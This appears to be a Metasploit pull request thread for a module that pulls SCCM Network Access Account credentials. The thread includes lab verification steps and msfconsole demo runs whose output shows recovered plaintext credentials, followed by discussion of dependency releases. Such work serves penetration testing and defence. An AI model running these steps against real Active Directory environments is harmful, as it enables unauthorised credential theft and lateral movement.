NAA creds from SCCM

[smashery]

This implements retrieval of NAA creds from an SCCM server. Given a computer name and password (which can typically be created by a standard AD domain user), a misconfigured system will just give out

Depends on rapid7/rex-mime#5 and lemontree55/rasn1#40

The main limitation of this work to date is that I've only been able to test on one SCCM server. I'm aware that different crypto schemes are in use, so for now I've given clear error messages in those cases.

Verification

I set up a test environment using GOAD.

• Start msfconsole
• Create a new computer account using the samr_computer (soon samr_account) module.
• use auxiliary/admin/sccm/get_naa_creds
• Run the module with the rhost set to the Domain Controller, with valid domain creds (low priv should be fine), and the computer creds you just optained.
• Verify that it successfully gets NAA creds
• Run it again, setting MANAGEMENT_POINT and SITE_CODE to the values that the module found on the first run (and no rhost)
• Verify that it successfully gets NAA creds without connecting to LDAP for autodiscovery

Demo

Autodiscovery:

msf6 auxiliary(admin/sccm/get_naa_creds) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-BXGIS9UE$ computer_pass=lkUEdeMQinNvgJ7mPV2787Cnf7lhQQio
[*] Running module against 192.168.33.10

[*] Discovering base DN automatically
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
[+] Found Management Point: MECM.sccm.lab (Site code: P01)
[*] Got SMS ID: 2088712A-B957-43F1-B62E-E516A050D6F7
[*] Waiting 5 seconds for SCCM DB to update...
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
[+] Found valid NAA creds: sccm.lab\sccm-naa:123456789
[*] Auxiliary module execution completed

Explicit Management Point/Site Code:

msf6 auxiliary(admin/sccm/get_naa_creds) > run management_point=MECM.sccm.lab computer_user=DESKTOP-BXGIS9UE$ computer_pass=lkUEdeMQinNvgJ7mPV2787Cnf7lhQQio site_code=P01

[*] Got SMS ID: 2088712A-B957-43F1-B62E-E516A050D6F7
[*] Waiting 5 seconds for SCCM DB to update...
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
[+] Found valid NAA creds: sccm.lab\sccm-naa:123456789
[*] Auxiliary module execution completed

[smashery]

Once accepted, we should neaten up some of the duplicate structures in the PKINIT code (which are also CMS). I've kept that task separate for now.

[Snakpax]

I appreciate this information I have been trying to properly set up my new environment and being self taught and learning everything on my own with Google's help and much time effort and trying this has been a journey but I am determined to achieve great things

[smcintyre-r7]

Do we have options to advance this independently of a rasn1 gem release? I see your PR was landed but there doens't appear to have been a new tag / release posted. I'll follow up on the PR, but thought I'd also ask here since I'm assuming it's going to be a hard blocker.

[smashery]

@smcintyre-r7 - I believe the way to work around this would be to define the implicit value in each of the model definitions themselves (rather than using a wrapper to modify each of them). It's not "correct" having them as part of the model, but it would Work™️. We'd also need to validate that there are no instances where a particular type of model is implicited with one value one place, but a different value when being incorporated somewhere else. I guess you could make two otherwise-identical structures.